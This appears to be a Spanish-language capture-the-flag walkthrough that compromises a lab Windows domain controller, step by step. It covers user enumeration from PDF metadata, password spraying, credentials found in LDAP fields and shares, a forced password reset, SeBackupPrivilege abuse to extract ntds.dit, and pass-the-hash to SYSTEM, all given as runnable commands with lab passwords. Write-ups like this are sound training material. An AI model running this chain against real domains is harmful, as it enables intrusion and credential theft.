Resolución del CTF: Black Gold
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
El host corresponde a un Controlador de Dominio Windows. Identificamos el dominio neptune.thl y servicios Kerberos, LDAP, SMB y WinRM accesibles.
Enumeración Web
El servicio HTTP expone un directorio /docs/ con archivos PDF descargables.
Extraemos metadatos de los PDF para identificar posibles usuarios del dominio.
exiftool *.pdf | grep -E 'Creator|Author' | cut -d: -f2 | sort -uLos archivos siguen el patrón YYYY-MM-DD.pdf, lo que permite enumeración masiva.
python3 download_pdfs.pyDescargamos todos los PDF históricos y generamos un listado de usuarios excluyendo el nombre corporativo.
exiftool docs/*.pdf | grep -E 'Creator|Author' | cut -d: -f2 | sort -u | sed 's/Neptune Oil & Gas//g' | sed '/^\s*$/d' > users.txtEnumeración Kerberos
Validamos los usuarios contra el KDC del dominio.
kerbrute userenum --dc 192.168.0.100 -d neptune.thl users.txtConfirmamos como válido el usuario lucas.miller.
Obtención de Credenciales
Extraemos contenido textual de los PDF para generar un diccionario contextual de contraseñas.
pdfgrep -i "contraseña" docs/*.pdfAplicamos password spraying contra SMB.
nxc smb 192.168.0.100 -u lucas.miller -p diccionario.txtObtenemos credenciales válidas de lucas.miller.
Movimiento Lateral
Enumeramos el dominio vía LDAP para identificar relaciones entre usuarios.
ldapdomaindump -u 'neptune.thl\\lucas.miller' -p 'E@6q%TnR7UEQSXywr8^@' 192.168.0.100Detectamos que victor.rodriguez expone su contraseña en el campo descripción.
nxc smb 192.168.0.100 -u victor.rodriguez -p 'H5gVCzzZkzJ#wGsT8u1$'Con estas credenciales accedemos a un recurso compartido donde se expone un script con credenciales adicionales.
smbmap -H 192.168.0.100 -u victor.rodriguez -p 'H5gVCzzZkzJ#wGsT8u1$' -r ITObtenemos las credenciales del usuario emma.johnson.
Acceso Interactivo
El usuario emma.johnson pertenece al grupo Remote Management Users, permitiendo acceso por WinRM.
evil-winrm -i 192.168.0.100 -u emma.johnson -p 'sb9TVndq8N@tUVMmP2@#'Escalada de Privilegios
Mediante análisis de relaciones en Active Directory identificamos que emma.johnson puede forzar el cambio de contraseña de thomas.brown.
Set-DomainUserPassword -Identity thomas.brown -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $CredEl usuario thomas.brown pertenece al grupo Backup Operators, habilitando el privilegio SeBackupPrivilege.
Explotación de SeBackupPrivilege
Generamos una copia del volumen para extraer ntds.dit y la colmena SYSTEM.
diskshadow /s cmd.dshrobocopy /b z:\windows\ntds . ntds.ditreg save hklm\\system C:\\Temp\\systemCompromiso del Dominio
Extraemos los hashes del dominio y reutilizamos el NTLM del administrador para obtener ejecución privilegiada.
impacket-secretsdump -ntds ntds.dit -system system localimpacket-psexec -hashes :<NT_HASH_ADMIN> [email protected]Obtenemos ejecución como NT AUTHORITY\\SYSTEM, completando el compromiso total del dominio.
